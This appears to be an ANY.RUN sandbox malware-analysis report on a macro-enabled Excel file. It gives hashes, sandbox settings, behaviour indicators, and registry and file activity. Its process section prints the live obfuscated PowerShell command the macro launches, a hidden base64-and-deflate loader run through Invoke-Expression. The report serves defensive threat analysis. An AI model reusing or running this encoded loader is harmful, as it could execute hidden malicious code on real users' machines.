Malware analysis malicious_excel_file.xlsm Malicious activity

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File name:	malicious_excel_file.xlsm
Full analysis:	https://app.any.run/tasks/42a6ceed-a2a4-4704-b864-0001121c3b4e
Verdict:	Malicious activity
Analysis date:	January 22, 2019, 13:12:14
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info:	Microsoft Excel 2007+
MD5:	DA0BF86893C72B440BA9D938A39836C6
SHA1:	5191F9F493F05497986647826169AB8C3ECCAC75
SHA256:	B12AB21A850E87F8C5CF62D9D04E4640D6155F3319462A1960159EB1874D5F39
SSDEEP:	384:DSZQvFwJPtVtRKMkTF6Q5ZTk6N6krNKU4URHNRZpVjyefbGOfVjyeKMLkNEO:xNSVfcFFTTDNR5CefmeKMLhO

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Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2972)
- Executes PowerShell scripts
  - EXCEL.EXE (PID: 2972)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3792)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2972)

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No Malware configuration.

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TRiD

.xlsm	\|	Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx	\|	Excel Microsoft Office Open XML Format document (30)
.zip	\|	Open Packaging Conventions container (15.4)
.zip	\|	ZIP compressed archive (3.5)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0006
ZipCompression:	Deflated
ZipModifyDate:	1980:01:01 00:00:00
ZipCRC:	0x30d74ab4
ZipCompressedSize:	464
ZipUncompressedSize:	2259
ZipFileName:	[Content_Types].xml

XML

Application:	Microsoft Excel
DocSecurity:	None
ScaleCrop:	No
HeadingPairs:	Worksheets 1 Charts 2
TitlesOfParts:	Sheet1 Chart1 Chart2
Company:	-
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
AppVersion:	16.03
LastModifiedBy:	-
CreateDate:	2015:06:05 18:17:20Z
ModifyDate:	2018:03:13 15:13:06Z

XMP

Creator:	-

No data.

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

2972

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

3792

powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRc9pGEH7nV+xorjPSGMkCXIrReCYOjhO3wXENsdMyTOeQFnTx6U4+nQyY8N+7AhWT177otKu9/b7d/VbsGS7gndOYXEl5k+XaWNd5QqNQdtpBIqXjTSEvZ1LEUFhu6cCVpe9wo+ydNfAgjC25vJRSx27tk/llkhgsiiaUQllIliPxirUx38dSKq3G6/zNfWe0xdh60f/mMjDILY5TOpI3Lnv70lojZqXFI1KWx097Zodg8hl7YH9w33HDMySsw+UdFpVwLfniOHKPdpNQGc67hjXrDUuow87l+8HVh+uPn25+/+Pz8PbL3Z/3o/HXh8dvf/3NZ3GC80Uqvj/JTOn82RS2fFmu1q9hq905+7X7W+/cCcZ6kHJzaQxfu15jXqq4QofYZS/eBgzakvrguhNiN5lOgb38fAN+wBB5URr0v8y+U5vBH5WZF9ADfoFw1QpD8PEZztve9i27hQ2bV+ydqBUEnR9zTcXFqa93KejbyQWwZOIu0PqGq0Rn4Gd8JTLKypLgM6qFTb3pNqr5sXl0lB1hA7nRMbUaNhNeEZ2yFcHR4wTYP9sIUCVEYUXsC1JDjQsbV+HyP+N+h+sFirTgetvtEcBiA8QYXCYuwogJ8KWF7hm9nZx4G5YSko3YUwWYEAJGAHWBdEWCIL5PFFdUAWnFSEYg5uBSzwvPg0PXKYJga8M5f/n21aEyJ7dogxGaFxHjnaaxDLniCzTTfr/yohmgsWIuaBPwgUuR7OQ04FLOSJaEuWHWlLiNWEbGLRVcD260LixmQZX+EWcDKVDZqMGy4BMJD00RkHxdpyzQ+ISnrNMEZ6hfhZT89CwIib/OcgKbSap4OLr5AN2gFcGjoD4uC7gde44XMUWgiwgm79cWd4LKqzZkwZVeKql5csUtd53U2rzon562zttBq9sLWi3K1en0e2EvPGXKAa/BNF0kSn617CQPzGZornAulNgNiT2Df0vLBQ4x6LQd8BVZRc5jhJ3nuh5nAX7Oi8Kmpmyw1QXT/f5PP5+wyfJacs1w1QnDkI6z0IsmdcfuS2VFhgHtKhqd17MpgiE3RcolDWag87XL8iaETZjsV3rqshWtEhmdtut5TTiAVKXRleN/DiE22apZHWG1crq0viol6Wb3X/FHEjGnzcNYk7B73bMw3NL843Sz/Rc= \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

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Total events

810

Read events

715

Write events

Delete events

Modification events


(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	2-%
Value: 322D25009C0B0000010000000000000000000000
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 9C0B00007853792454B2D40100000000
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	2-%
Value: 322D25009C0B0000010000000000000000000000
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2972) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\1993CB
Operation:	write	Name:	1993CB
Value: 040000009C0B00003B00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C006D0061006C006900630069006F00750073005F0065007800630065006C005F00660069006C0065002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000040FDF12554B2D401CB931900CB93190000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2972	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR8D23.tmp.cvr		—
		MD5:—	SHA256:—
3792	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4THO8VBUGSB8X8Y7X5SK.temp		—
		MD5:—	SHA256:—
3792	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19e3fd.TMP		binary
		MD5:—	SHA256:—
3792	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

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Connections

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DNS requests

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Threats

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General Info

malicious_excel_file.xlsm

DA0BF86893C72B440BA9D938A39836C6

5191F9F493F05497986647826169AB8C3ECCAC75

B12AB21A850E87F8C5CF62D9D04E4640D6155F3319462A1960159EB1874D5F39

384:DSZQvFwJPtVtRKMkTF6Q5ZTk6N6krNKU4URHNRZpVjyefbGOfVjyeKMLkNEO:xNSVfcFFTTDNR5CefmeKMLhO

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Executes PowerShell scripts

SUSPICIOUS

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

XML

XMP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

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Files activity

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Connections

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